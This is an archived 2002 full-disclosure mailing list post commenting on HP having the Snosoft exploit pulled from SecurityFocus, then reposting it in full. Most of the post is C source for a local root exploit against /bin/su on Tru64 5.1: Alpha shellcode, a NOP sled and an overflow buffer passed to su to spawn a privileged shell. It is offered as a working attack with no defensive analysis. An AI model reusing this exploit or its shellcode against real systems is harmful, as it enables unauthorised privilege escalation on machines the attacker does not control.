full-disclosure - OT: Snosoft vs HP

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Message-ID: <20020731122201.P23585@netsys.com>
From: len at netsys.com (Len Rose)
Subject: OT: Snosoft vs HP

It's interesting to note that the exploit was removed from
SecurityFocus' site. I wonder if HP is going to demand people
remove it from all archives everywhere? 

Obligatory exploit:

/*
 /bin/su tru64 5.1
 works with non-exec stack enabled
 
 stripey is the man

 developed at http://www.snosoft.com in the cerebrum labs

 phased
 phased at mail.ru
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode[]=
        "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
        "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
        "\x12\x14\x02\x42"      /* addq $16,16,$18              */
        "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
        "\x12\x94\x09\x42"      /* addq $16,76,$18              */
        "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
        "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
        "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
        "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
        "\xf7\xff\x1f\xd2"      /* bsr $16,-32                  */
        "\x10\x04\xff\x47"      /* clr $16                      */
        "\x11\x14\xe3\x43"      /* addq $31,24,$17              */
        "\x20\x35\x20\x42"      /* subq $17,1,$0                */
        "\xff\xff\xff\xff"      /* callsys ( disguised )        */
        "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
        "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
        "\x12\x04\xff\x47"      /* clr $18                      */
        "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
        "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
        "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
        "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
        "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
        "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
        "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
        "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
        "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
        "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
        "\x20\x35\x60\x42"      /* subq $19,1,$0                */
        "\xff\xff\xff\xff";     /* callsys ( disguised )        */

/* shellcode by Taeho Oh */

main(int argc, char *argv[]) {
int i, j;
char buffer[8239];
char payload[15200];
char nop[] = "\x1f\x04\xff\x47";

bzero(&buffer, 8239);
bzero(&payload, 15200);

for (i=0;i<8233;i++)
        buffer[i] = 0x41;

/* 0x140010401 */

        buffer[i++] = 0x01;
        buffer[i++] = 0x04;
        buffer[i++] = 0x01;
        buffer[i++] = 0x40;
        buffer[i++] = 0x01;

for (i=0;i<15000;) {
        for(j=0;j<4;j++)  {
                payload[i++] = nop[j];
        }
}

for (i=i,j=0;j<sizeof(shellcode);i++,j++)
        payload[i] = shellcode[j];

        printf("/bin/su by phased\n");
        printf("payload %db\n", strlen(payload));
        printf("buffer %db\n", strlen(buffer));

        execl("/usr/bin/su", "su", buffer, payload, 0);

}